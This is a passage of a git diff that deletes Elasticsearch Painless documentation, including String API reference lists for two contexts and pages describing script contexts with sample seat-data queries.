-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/index.asciidoc
deleted file mode 100644
index 35610ce0824..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-watcher-transform]]
-=== Watcher Transform API
-
-The following specialized API is available in the Watcher Transform context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-watcher-transform-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-watcher-transform-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/packages.asciidoc
deleted file mode 100644
index a220172510b..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-watcher-transform/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-watcher-transform-java-lang"]
-=== Watcher Transform API for package java.lang
-See the <<painless-api-reference-watcher-transform, Watcher Transform API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-watcher-transform-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-xpack-template/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-xpack-template/index.asciidoc
deleted file mode 100644
index 47035e9bc17..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-xpack-template/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-xpack-template]]
-=== Xpack Template API
-
-The following specialized API is available in the Xpack Template context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-xpack-template-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-xpack-template-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-xpack-template/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-xpack-template/packages.asciidoc
deleted file mode 100644
index ab5d3f78498..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-xpack-template/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-xpack-template-java-lang"]
-=== Xpack Template API for package java.lang
-See the <<painless-api-reference-xpack-template, Xpack Template API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-xpack-template-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-contexts.asciidoc b/docs/painless/painless-contexts.asciidoc
deleted file mode 100644
index de3d96a48d1..00000000000
--- a/docs/painless/painless-contexts.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[[painless-contexts]]
-== Painless contexts
-
-A Painless script is evaluated within a context. Each context has values that
-are available as local variables, an allowlist that controls the available
-classes, and the methods and fields within those classes (API), and
-if and what type of value is returned.
-
-A Painless script is typically executed within one of the contexts in the table
-below. Note this is not necessarily a comprehensive list as custom plugins and
-specialized code may define new ways to use a Painless script.
-
-[options="header",cols="<1,<1,<1"]
-|====
-| Name                              | Painless Documentation
-                                    | Elasticsearch Documentation
-| Ingest processor                  | <<painless-ingest-processor-context, Painless Documentation>>
-                                    | {ref}/script-processor.html[Elasticsearch Documentation]
-| Update                            | <<painless-update-context, Painless Documentation>>
-                                    | {ref}/docs-update.html[Elasticsearch Documentation]
-| Update by query                   | <<painless-update-by-query-context, Painless Documentation>>
-                                    | {ref}/docs-update-by-query.html[Elasticsearch Documentation]
-| Reindex                           | <<painless-reindex-context, Painless Documentation>>
-                                    | {ref}/docs-reindex.html[Elasticsearch Documentation]
-| Sort                              | <<painless-sort-context, Painless Documentation>>
-                                    | {ref}/sort-search-results.html[Elasticsearch Documentation]
-| Similarity                        | <<painless-similarity-context, Painless Documentation>>
-                                    | {ref}/index-modules-similarity.html[Elasticsearch Documentation]
-| Weight                            | <<painless-weight-context, Painless Documentation>>
-                                    | {ref}/index-modules-similarity.html[Elasticsearch Documentation]
-| Score                             | <<painless-score-context, Painless Documentation>>
-                                    | {ref}/query-dsl-function-score-query.html[Elasticsearch Documentation]
-| Field                             | <<painless-field-context, Painless Documentation>>
-                                    | {ref}/search-fields.html#script-fields[Elasticsearch Documentation]
-| Filter                            | <<painless-filter-context, Painless Documentation>>
-                                    | {ref}/query-dsl-script-query.html[Elasticsearch Documentation]
-| Minimum should match              | <<painless-min-should-match-context, Painless Documentation>>
-                                    | {ref}/query-dsl-terms-set-query.html[Elasticsearch Documentation]
-| Metric aggregation initialization | <<painless-metric-agg-init-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Elasticsearch Documentation]
-| Metric aggregation map            | <<painless-metric-agg-map-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Elasticsearch Documentation]
-| Metric aggregation combine        | <<painless-metric-agg-combine-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Elasticsearch Documentation]
-| Metric aggregation reduce         | <<painless-metric-agg-reduce-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Elasticsearch Documentation]
-| Bucket script aggregation         | <<painless-bucket-script-agg-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-pipeline-bucket-script-aggregation.html[Elasticsearch Documentation]
-| Bucket selector aggregation       | <<painless-bucket-selector-agg-context, Painless Documentation>>
-                                    | {ref}/search-aggregations-pipeline-bucket-selector-aggregation.html[Elasticsearch Documentation]
-| Watcher condition                 | <<painless-watcher-condition-context, Painless Documentation>>
-                                    | {ref}/condition-script.html[Elasticsearch Documentation]
-| Watcher transform                 | <<painless-watcher-transform-context, Painless Documentation>>
-                                    | {ref}/transform-script.html[Elasticsearch Documentation]
-|====
-
-include::painless-contexts/index.asciidoc[]
diff --git a/docs/painless/painless-contexts/index.asciidoc b/docs/painless/painless-contexts/index.asciidoc
deleted file mode 100644
index 11b4c999337..00000000000
--- a/docs/painless/painless-contexts/index.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-include::painless-context-examples.asciidoc[]
-
-include::painless-ingest-processor-context.asciidoc[]
-
-include::painless-update-context.asciidoc[]
-
-include::painless-update-by-query-context.asciidoc[]
-
-include::painless-reindex-context.asciidoc[]
-
-include::painless-sort-context.asciidoc[]
-
-include::painless-similarity-context.asciidoc[]
-
-include::painless-weight-context.asciidoc[]
-
-include::painless-score-context.asciidoc[]
-
-include::painless-field-context.asciidoc[]
-
-include::painless-filter-context.asciidoc[]
-
-include::painless-min-should-match-context.asciidoc[]
-
-include::painless-metric-agg-init-context.asciidoc[]
-
-include::painless-metric-agg-map-context.asciidoc[]
-
-include::painless-metric-agg-combine-context.asciidoc[]
-
-include::painless-metric-agg-reduce-context.asciidoc[]
-
-include::painless-bucket-script-agg-context.asciidoc[]
-
-include::painless-bucket-selector-agg-context.asciidoc[]
-
-include::painless-analysis-predicate-context.asciidoc[]
-
-include::painless-watcher-condition-context.asciidoc[]
-
-include::painless-watcher-transform-context.asciidoc[]
diff --git a/docs/painless/painless-contexts/painless-analysis-predicate-context.asciidoc b/docs/painless/painless-contexts/painless-analysis-predicate-context.asciidoc
deleted file mode 100644
index 07914b671e7..00000000000
--- a/docs/painless/painless-contexts/painless-analysis-predicate-context.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[painless-analysis-predicate-context]]
-=== Analysis Predicate Context
-
-Use a painless script to determine whether or not the current token in an
-analysis chain matches a predicate.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`token.term` (`CharSequence`, read-only)::
-        The characters of the current token
-
-`token.position` (`int`, read-only)::
-        The position of the current token
-
-`token.positionIncrement` (`int`, read-only)::
-        The position increment of the current token
-
-`token.positionLength` (`int`, read-only)::
-        The position length of the current token
-
-`token.startOffset` (`int`, read-only)::
-        The start offset of the current token
-
-`token.endOffset` (`int`, read-only)::
-        The end offset of the current token
-
-`token.type` (`String`, read-only)::
-        The type of the current token
-
-`token.keyword` ('boolean`, read-only)::
-        Whether or not the current token is marked as a keyword
-
-*Return*
-
-`boolean`::
-        Whether or not the current token matches the predicate
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc b/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc
deleted file mode 100644
index b97e3057077..00000000000
--- a/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[[painless-bucket-script-agg-context]]
-=== Bucket script aggregation context
-
-Use a Painless script in an
-{ref}/search-aggregations-pipeline-bucket-script-aggregation.html[`bucket_script` pipeline aggregation]
-to calculate a value as a result in a bucket.
-
-==== Variables
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query. The parameters
-        include values defined as part of the `buckets_path`.
-
-==== Return
-
-numeric::
-        The calculated value as the result.
-
-==== API
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-==== Example
-
-To run this example, first follow the steps in <<painless-context-examples, context examples>>.
-
-The painless context in a `bucket_script` aggregation provides a `params` map.  This map contains both
-user-specified custom values, as well as the values from other aggregations specified in the `buckets_path`
-property.
-
-This example takes the values from a min and max aggregation, calculates the difference,
-and adds the user-specified base_cost to the result:
-
-[source,Painless]
---------------------------------------------------
-(params.max - params.min) + params.base_cost
---------------------------------------------------
-
-Note that the values are extracted from the `params` map.  In context, the aggregation looks like this:
-
-[source,console]
---------------------------------------------------
-GET /seats/_search
-{
-  "size": 0,
-  "aggs": {
-    "theatres": {
-      "terms": {
-        "field": "theatre",
-        "size": 10
-      },
-      "aggs": {
-        "min_cost": {
-          "min": {
-            "field": "cost"
-          }
-        },
-        "max_cost": {
-          "max": {
-            "field": "cost"
-          }
-        },
-        "spread_plus_base": {
-          "bucket_script": {
-            "buckets_path": { <1>
-              "min": "min_cost",
-              "max": "max_cost"
-            },
-            "script": {
-              "params": {
-                "base_cost": 5 <2>
-              },
-              "source": "(params.max - params.min) + params.base_cost"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:seats]
-
-<1> The `buckets_path` points to two aggregations (`min_cost`, `max_cost`) and adds `min`/`max` variables
-to the `params` map
-<2> The user-specified `base_cost` is also added to the script's `params` map
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc b/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc
deleted file mode 100644
index 13fe69cefae..00000000000
--- a/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-
-[[painless-bucket-selector-agg-context]]
-=== Bucket selector aggregation context
-
-Use a Painless script in an
-{ref}/search-aggregations-pipeline-bucket-selector-aggregation.html[`bucket_selector` aggregation]
-to determine if a bucket should be retained or filtered out.
-
-==== Variables
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query. The parameters
-        include values defined as part of the `buckets_path`.
-
-==== Return
-
-boolean::
-        True if the bucket should be retained, false if the bucket should be filtered out.
-
-==== API
-
-
-To run this example, first follow the steps in <<painless-context-examples, context examples>>.
-
-The painless context in a `bucket_selector` aggregation provides a `params` map.  This map contains both
-user-specified custom values, as well as the values from other aggregations specified in the `buckets_path`
-property.
-
-Unlike some other aggregation contexts, the `bucket_selector` context must return a boolean `true` or `false`.
-
-This example finds the max of each bucket, adds a user-specified base_cost, and retains all of the
-buckets that are greater than `10`.
-
-[source,Painless]
---------------------------------------------------
-params.max + params.base_cost > 10
---------------------------------------------------
-
-Note that the values are extracted from the `params` map. The script is in the form of an expression
-that returns `true` or `false`.  In context, the aggregation looks like this:
-
-[source,console]
---------------------------------------------------
-GET /seats/_search
-{
-  "size": 0,
-  "aggs": {
-    "theatres": {
-      "terms": {
-        "field": "theatre",
-        "size": 10
-      },
-      "aggs": {
-        "max_cost": {
-          "max": {
-            "field": "cost"
-          }
-        },
-        "filtering_agg": {
-          "bucket_selector": {
-            "buckets_path": { <1>
-              "max": "max_cost"
-            },
-            "script": {
-              "params": {
-                "base_cost": 5 <2>
-              },
-              "source": "params.max + params.base_cost > 10"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:seats]
-
-<1> The `buckets_path` points to the max aggregations (`max_cost`) and adds `max` variables
-to the `params` map
-<2> The user-specified `base_cost` is also added to the `params` map
diff --git a/docs/painless/painless-contexts/painless-context-examples.asciidoc b/docs/painless/painless-contexts/painless-context-examples.asciidoc
deleted file mode 100644
index a451b1e89ca..00000000000
--- a/docs/painless/painless-contexts/painless-context-examples.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
-[[painless-context-examples]]
-=== Context examples
-
-To run the examples, index the sample seat data into Elasticsearch. The examples
-must be run sequentially to work correctly.
-
-. Download the
-https://download.elastic.co/demos/painless/contexts/seats.json[seat data]. This
-data set contains booking information for a collection of plays. Each document
-represents a single seat for a play at a particular theater on a specific date
-and time.
-+
-Each document contains the following fields:
-+
-`theatre` ({ref}/keyword.html[`keyword`])::
-        The name of the theater the play is in.
-`play` ({ref}/text.html[`text`])::
-        The name of the play.
-`actors` ({ref}/text.html[`text`])::
-        A list of actors in the play.
-`row` ({ref}/number.html[`integer`])::
-        The row of the seat.
-`number` ({ref}/number.html[`integer`])::
-        The number of the seat within a row.
-`cost` ({ref}/number.html[`double`])::
-        The cost of the ticket for the seat.
-`sold` ({ref}/boolean.html[`boolean`])::
-        Whether or not the seat is sold.
-`datetime` ({ref}/date.html[`date`])::
-        The date and time of the play as a date object.
-`date` ({ref}/keyword.html[`keyword`])::
-        The date of the play as a keyword.
-`time` ({ref}/keyword.html[`keyword`])::
-        The time of the play as a keyword.
-
-. {defguide}/running-elasticsearch.html[Start] Elasticsearch. Note these
-examples assume Elasticsearch and Kibana are running locally. To use the Console
-editor with a remote Kibana instance, click the settings icon and enter the
-Console URL. To submit a cURL request to a remote Elasticsearch instance, edit
-the request URL.
-
-. Create {ref}/mapping.html[mappings] for the sample data:
-+
-[source,console]
-----
-PUT /seats
-{
-  "mappings": {
-    "properties": {
-      "theatre":  { "type": "keyword" },
-      "play":     { "type": "keyword" },
-      "actors":   { "type": "text"    },
-      "row":      { "type": "integer" },
-      "number":   { "type": "integer" },
-      "cost":     { "type": "double"  },
-      "sold":     { "type": "boolean" },
-      "datetime": { "type": "date"    },
-      "date":     { "type": "keyword" },
-      "time":     { "type": "keyword" }
-    }
-  }
-}
-----
-+
-
-. Run the <<painless-ingest-processor-context, ingest processor context>>
-example. This sets up a script ingest processor used on each document as the
-seat data is indexed.
-
-. Index the seat data:
-+
-[source,js]
-----
-curl -XPOST "localhost:9200/seats/_bulk?pipeline=seats" -H "Content-Type: application/x-ndjson" --data-binary "@/<local-file-path>/seats.json"
-----
-// NOTCONSOLE
-
diff --git a/docs/painless/painless-contexts/painless-field-context.asciidoc b/docs/painless/painless-contexts/painless-field-context.asciidoc
deleted file mode 100644
index 71084b11f2f..00000000000
--- a/docs/painless/painless-contexts/painless-field-context.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[[painless-field-context]]
-=== Field context
-
-Use a Painless script to create a
-{ref}/search-fields.html#script-fields[script field] to return
-a customized value for each document in the results of a query.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the specified document where each field is a
-        `List` of values.
-
-{ref}/mapping-source-field.html[`params['_source']`] (`Map`, read-only)::
-        Contains extracted JSON in a `Map` and `List` structure for the fields
-        existing in a stored document.
-
-*Return*
-
-`Object`::
-        The customized value for each document.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-You can then use these two example scripts to compute custom information
-for each search hit and output it to two new fields.
-
-The first script gets the doc value for the `datetime` field and calls
-the `getDayOfWeek` function to determine the corresponding day of the week.
-
-[source,Painless]
-----
-doc['datetime'].value.getDayOfWeek();
-----
-
-The second script calculates the number of actors. Actors' names are stored
-as a text array in the `actors` field.
-
-[source,Painless]
-----
-params['_source']['actors'].length;                        <1>
-----
-
-<1> By default, doc values are not available for text fields. However,
-    you can still calculate the number of actors by extracting actors
-    from `_source`. Note that `params['_source']['actors']` is a list.
-
-
-Submit the following request:
-
-[source,console]
-----
-GET seats/_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "script_fields": {
-    "day-of-week": {
-      "script": {
-        "source": "doc['datetime'].value.getDayOfWeek()"
-      }
-    },
-    "number-of-actors": {
-      "script": {
-        "source": "params['_source']['actors'].length"
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-filter-context.asciidoc b/docs/painless/painless-contexts/painless-filter-context.asciidoc
deleted file mode 100644
index 65773cd9008..00000000000
--- a/docs/painless/painless-contexts/painless-filter-context.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[[painless-filter-context]]
-=== Filter context
-
-Use a Painless script as a {ref}/query-dsl-script-query.html[filter] in a
-query to include and exclude documents.
-
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the current document where each field is a
-        `List` of values.
-
-*Return*
-
